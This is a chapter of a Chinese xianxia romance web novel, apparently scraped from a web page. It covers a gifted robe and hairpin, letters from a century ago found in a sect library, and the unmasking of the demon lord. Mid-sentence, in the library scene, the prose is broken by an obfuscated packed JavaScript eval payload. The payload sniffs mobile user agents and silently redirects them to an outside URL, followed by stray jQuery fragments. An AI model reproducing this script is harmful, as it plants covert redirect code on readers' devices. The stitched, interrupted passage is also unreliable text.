第二十二章
“你还知道回来哇。”归东篱托着圆乎乎的脸,对着从雪青宗归来的墨扶风打了个哈欠。墨扶风在一旁,虚吹骨笛。
悠扬的音乐在山谷响起。
“这些时日天天熬夜,人都瘦了半圈。”归东篱苦着脸拍着肚子,“你中途回来一趟……干啥来着?”
墨扶风扶额:“有东西落在山庄,回来看看。庄主,你好好休息吧。”
善解人意地拍了拍归东篱的肩膀,推着胖老头的躺椅,露出了命苦的笑容。“你就把我当牛马使唤。”
“你是不知道!宗主大会有多无聊。”归东篱闭目养神,伸出手比了个三:“未来三个月我要闭关修养。”
“世道乱成这样,竟然还要搞什么宗门大比……”
“你安排吧,真麻烦……”
·
从雪青宗回来后的林棠棠,每天起得比沈云渊还早。好几次沈云渊起床练剑时,锐利的目光四下扫去,都寻不到她的身影。
沈云渊终于在第四天,趁林棠棠悄摸出门前,抱着无忧剑守在了门口。
黑暗中,林棠棠一头撞上了蹲在阴影里的沈云渊。
“我靠什么东西。”揉着发晕的脑袋,她嘟囔着继续摸门的位置。
奇怪,这门的手感怎么不一样……
冰凉的手指牵着她的手腕。宽厚的手掌覆上她的手,林棠棠这才眯着眼睛,借着微弱的光看清楚面前原来站着个人。
等等……
沈云渊没有给她思考的空间,清寒的声音在耳边响起,模糊夜色中,萦绕在耳边。
“天还没亮。”
“不再去睡会?”
沈云渊将她拉近,林棠棠身上晒过被褥的淡淡阳光气息总是能让他很安心。
抱着娇小柔软的身段那么多次,此时沈云渊竟忍不住想要靠近的想法。
无忧门灭门后时常的梦魇将他夜夜惊醒,却在林棠棠闯进灵力空间后再也没有出现过。
好……奇怪。林棠棠是和师父不一样的安心。
林棠棠几乎贴在沈云渊胸前,心一阵慌乱。想推开他,沈云渊牵她的手却越来越紧。
“兄弟你是不是伤还没好?灵力又反噬了……”
林棠棠抬起头,伸出空着的手,搭在沈云渊的额头:“好凉,你也没发烧啊……你放心吧,我没事。”
牵着她的手猛地松开了,面前的巨型黑影往旁边挪了半分。仿佛刚刚什么也没有发生,沈云渊呆板清脆的一声响起:“嗯。”
黑暗中只能看见漆黑明亮的双眸,追随着匆匆推门离开的林棠棠,消失在视线中。
林棠棠在小路上走远:“梨棠,沈云渊起床为什么不点蜡烛哇?不黑吗?”
梨棠残念:“……他故意等你撞他身上。”
“没正形,不和你说话了。”林棠棠嘟囔着,蹑手蹑脚地推开一处院落的门:“程姐,我来啦~”
程若坐在屋内,冲着林棠棠露出一抹温柔的笑。
从雪青宗出来,咸鱼担心程若因陈柠抹的入魔死亡,在黄芦庄更不受人待见。便和墨扶风商量着,带着她一同回了贤芋山庄。
烛影摇曳,案上放着针线,程若人看着柔和,拿起针线却如女将军一般,果断地勾勒出精巧的图案。
咸鱼学生趴在桌上,嘴里嚼着程若桌上的零嘴,打了个哈欠。
“姐,今天从哪缝起?”
程若嗔怪地瞪了她一眼:“嚷嚷着要亲手缝,每天都迟到呢。”
“嘻。”咸鱼咧嘴一笑:“这不是怕耽误你做生意嘛,程姐生意兴隆!”
林棠棠将程若接回来,便“怂恿”她在贤芋山庄开个裁缝铺子。
拍着胸脯保证:“贤芋山庄弟子都懒,出手大方,你光给衣服打补丁都能日进斗金哇!”
目光坚定地看着程若:“只有金钱才值得你伤心!我们要做经济独立大女人!”
于是她眼看着程若的生意做起来,短短几天已经接单接到手软。
程若假装无奈地苦笑,递上了针线,哄着带着三圈黑眼圈的咸鱼:“我们今天从这里开始缝……”
·
林棠棠站在院外忐忑半天了。她揉着手上那块藏青色的布,心跳得很快。小声问道:“梨棠,这真的可以吗?”
“可不可以试试不就知道啦!”梨棠残念轻快的声音响起,催促着:“别怂啊咸鱼,上!”
林棠棠深吸一口气,心依然跳得厉害。白皙的手颤抖着推开院门。
沈云渊果然还在学习新的剑法,他的目光随着剑光转移到了脸色极差的林棠棠身上。
无忧剑慢了半分。
林棠棠闭着眼一步一步挪向沈云渊的方向,“唰——”笔直地将手里的藏青色“布”递了出去。
话语飞快地翻飞着:“兄弟你不要嫌弃我真的一点不会做女红赶了几天才做出来这是我从雪青宗回来答应你要给你做的新衣服我觉的藏青色最适合你了你穿得真的很帅长得真的很好看……”
她手上重量一轻。
半晌,林棠棠才忐忑地睁开半只眼睛。
映入眼帘的是一片藏青色。深蓝色的线在袖口勾勒出几圈歪歪扭扭的鱼纹。骨节分明的手轻轻向上翻了个面。掌中静静躺着一只玉簪。
海棠花的样式。
林棠棠睁开了双眼。风卷着海棠树的叶子落下,面前的沈云渊已经穿上了那件“丑衣服”。
脸在江山在,哪怕林棠棠的衣服针脚都未藏住,藏青色的玄袍依旧勾勒出人机的贵气。鱼纹图案与腰间温润的玉佩给他添了几丝神秘。
沈云渊捻起玉簪,簪在咸鱼简单的发髻。
低下头,眼睛里的神色平淡如水,喉结却不轻易地滑动了一下:“好看的。”
他强压下心头不自然地紧张:“这是把万能锁。下次再遇到万哀伞的那种情况,没有我你也能保命。”
万哀伞被毁的那一刻,沈云渊听到了心砸在地面的声音。眼前的师妹总是一遍遍耐心地教育他,不要送死。却总是为了别人把自己往火坑里推。
林棠棠半张着嘴,灵动的眼睛一眨不眨。强按下心中的慌乱:这诡异的气氛到底是怎么回事?
残念:没出息。
林棠棠失神地抬起手,扶了扶玉簪。冰凉的触感给她滚烫的双手降温。
门外不合时宜地响起一阵敲门声。空气里朦胧的泡沫被戳破,林棠棠看着沈云渊的眼里多了丝疑惑。
先前她看不懂的情绪消失了,高冷的卷王大人又披上了冰霜。林棠棠歪了歪头,刚想开口,只见沈云渊摩挲着袖口的鱼纹,按下手中的无忧剑。面无表情地推开了院门。
“哟,后爹!小妈在不?今天轮到她打扫藏书阁了!”栖梧欢快的声音在门外响起。
沈云渊让了半个身子,转头看向发懵的林棠棠。
“你小子……”林棠棠打了个激灵,被一句小妈拽回了现实。咬着牙大步冲了上去,一把拧住阿七的耳朵。
“再叫我小妈试试呢?”
“娘。”
沈云渊静静握住门把手:“早去早回。”
林棠棠:……
·
“娘你脸怎么这么红。是不是发烧了?”栖梧关心地问道。
沉默。
“娘,你要照顾好自己。”
沉默加一。
“天呐,这玉簪哪来的?”栖梧惊呼一声,娃娃脸上不加掩饰地写着嫌弃:“哪个匠人做的?好难看。能退吗?”
看着林棠棠唰地变黑的脸,栖梧小心翼翼地往旁边移了两步:“不会是后爹送的吧?”
忍无可忍的林棠棠猛地出手,灵力封锁了栖梧的嘴。
“你少说点话吧!”
绝望地黑着脸提着扫帚,跟阿七进了藏在一片竹林中的藏书阁。她顺着一楼往上望去。
脚下一软。
“我靠,这么高不会要我都扫了吧……”
林棠棠盯着三层楼的古建筑目瞪口呆。下巴快和地面亲密接触了。
栖梧下了锁,终于能说话了!揉了揉发麻的嘴。好心提醒即将瘫在地上的林棠棠。
“娘,你只需要在里面待上两个时辰。不用扫,反正这里平时也没人来。”
世上果然还是懒人多。
栖梧在门外落了钥,午后的阳光被大部分隔绝在了沉香木门外,只有些微几缕透过竹林的间隙。
即便如此,林棠棠也能看清藏书阁全貌了。
藏书阁落满了浮灰,第一层放了些功法大法,整齐地摆放着,迎着光,透着古色古香的悠长美感。她踏着楼梯。“吱呀”木质楼梯发出轻响。
太安静了,空气里还有檀香。
林棠棠心说有些害怕,只一瞬,便也在木香与墨香中平静下来。
二层不知摆了些什么,非常乱。
书随手撒在地上。蜘蛛网攀着书脊结成繁复的花纹,在阳光的照耀下倒是别有意境。
三层黑咕隆咚,林棠棠实在不敢去。
她只好在二楼的一堆书里找了个空地把自己埋了进去。
空地刚好容得下一人的位子,抬眼便能看到藏书阁的轩窗。
阳光透过轩窗照了进来,空气中的灰尘清晰可见。悠悠地飘着。
曾经应该有人很喜欢坐在这里。
书规则地围成了一个圈,将人包了进去,坐在书里的人就这么靠在架子上,抬头能看见窗外云起云落,低头便能看见属于自己的天地。
手边有本翻开的书。
书页泛黄,很厚,适合当枕头。
林棠棠全身放松下来,捡起书随手翻了翻,书上画的图画很有趣。书上在说,人有七情。
再往后翻,便是修炼秘诀或是些复杂的阵法,看着看着便困了。
从前那个坐在这里的弟子一定很勤奋,那些看不懂的咒语字符旁,有他写的看不懂的咒语字符。
密密麻麻地批注,林棠棠仿佛看到了另一个和沈云渊一样沉迷修炼的孤独的天才。
手指划过书页,一处批注格外有力,渗透纸背。
原来是一处落笔,是弟子的名字,叫林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006551|192267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魁。
好熟悉……林棠棠揉了揉眉心,一时想不起在何处听过这个名字。
她的脑海里闪过机缘洞中飘逸的白发。
发出一声惊呼:“天呐!梨棠,这不是你们师尊吗?”
林魁——无忧门的宗主,沈云渊的病源。
残念倒吸一口冷气:“嘶——真的是师尊!师尊原先也是这个山庄的弟子?”焦急地催促着:“林棠棠,你快,快往后翻看看还有没有什么线索。”
纸张褶皱泛黄,林棠棠捻起书页,轻轻向后翻去。她紧张地吞咽着口水,不敢幅度太大。
褐色的信封从书页中掉落,飘悠着落在布满灰尘的地上。
林棠棠伸出手,颤颤巍巍地打开了信封,从中抽出信纸。她的心跳得愈发快,轻飘飘的纸张沉甸甸地压在心头,大气不敢喘。
她展开信纸:
师弟,见字如面。我和你的徐山师兄都很想念你。师兄从来不是无理取闹擅长说教之人,可你的近况确实让人担忧。师弟,你有着极高的天赋,未来必定能成为令世人骄傲的御兽宗师,可是邪火怎能随意触碰!算师兄求你……”信的后半段只有些许随意的家常。与前文语气的焦急形成近乎诡异的对比。
林魁写道他很想家:“师弟,天下太平了,可我回不去了。徐山不会知道,但是我想你会懂吧。”
天才的落寞弥漫在信纸中,纸张褶皱,落笔的几个字晕开。时间……一百年前。
林棠棠读着林魁工整遒劲的字,宛若打开了秘密花园的大门。
林魁,徐山还有这位不知名的师弟,他们曾经都是贤芋山庄的弟子。竟然是一百年前的人。
继续往后翻,书中竟还夹了一幅小画。林棠棠将画抽了出来。
两人一猫,林魁在旁边批注:花溪神女,花溪小祖。
看着……林棠棠眯起了眼睛,将画举近她的眼睛。指尖拂过画面中的女子和猫。她默念着书中神女和将军的传说:“暴君屠了整座甘州城,城主不愿投降,率全家跳下城墙,人们却没有找到城主小儿子的尸体。再后来,就是京城侯府小少爷起兵造反,得到神女相助……天下太平,将军却死在了最后一场大战,尸骨无存。”
“神女跳下漫浪崖……从此仙界再无花溪。”不知为何,林棠棠读到结局时心一阵绞痛。
她默默将画和信收入袖中,倚着藏书阁的书架,向外看去。
“林棠棠,我们坐在百年前师尊坐的位子上。”残念小声地在脑子里说:“真是太神奇了。师兄要是看到师父写的信,一定会开心的。”
林棠棠疲倦地垂下眼皮,模糊地答应着:“嗯,多亏了门派里一百年都没人认真打扫。”
藏书阁传来平静的呼吸声。
·
“棠棠,棠棠?”林棠棠从睡梦中睁开眼睛,面前站着一个模糊的身影,正半蹲着无奈地看着她。
“嗯……扶风师兄!”林棠棠飞快地擦着嘴边的口水,强睁开眼睛,晃晃悠悠从地上爬起来。
“服了你了,怎么在哪都能睡。”墨扶风咧嘴笑笑,伸手揉着林棠棠微乱的头发。递上一块手帕,关心道:“擦擦脸,帕上有我同雪青宗那般弟子学习研制出的安神香。”
林棠棠接过帕子,同墨扶风一同走出藏书阁。太阳已然下山,夕阳的余光挥洒在藏书阁外的竹林,平添了几分清冷的静谧。
林棠棠像猫一样伸了个懒腰,安神香钻进鼻翼,清醒了不少:“谢谢师兄!”
“棠棠。”墨扶风停下脚步,看着林棠棠的眼神多了一丝犹豫:“你为什么要跟着沈兄?世道很乱,他是无忧门唯一活下来的弟子。魔尊在找他。”
梨棠残念满不在乎地说道:“关他什么事?我看他是山庄工作不够忙,刷存在感来了!”
林棠棠无视了残念的敌意,皱紧眉头思索片刻,冲墨扶风露出一个灿烂又辛酸的笑容,睫毛接住了夕阳的金光:“那师兄为什么要无条件为庄主打杂呢?师兄明明只是山庄的弟子。”
“沈云渊对我来说是很重要的人。”也是我在这个异世界为数不多的依靠。林棠棠在心里默默说完后半句话。
二人并排走在回去的路上,墨扶风将她送到小院前不远,温柔的眼睛低垂,看向身旁的林棠棠:“棠棠,我从雪青宗赶回来,发现山庄根本没有魔族入侵的弟子。”
“沈兄手中的起尸符,从何而来?”
“今日有宗门来报,雪青宗,没了。徐山应该是被魔尊亲自……杀死的。”
·
林棠棠推开院门,卷王大人破天荒地没有冥想。
沈云渊抬起眼睛,眼中布满了鲜红色的血丝。像……入了魔。他失神地扶着院中的石案。像只被人丢弃的流浪犬,林棠棠第一次见到情绪如此激动的沈云渊,下意识冲上前去,美眸中流过疑惑的心疼。
她缓缓蹲下去,焦急地寻着沈云渊飘忽不定的目光。
沈云渊手中紧紧握着徐山递给他的那枚玉扳指,声音沙哑:“我知道魔尊是谁了。”
“师父的师弟,烈阳宗宗主,旭央。”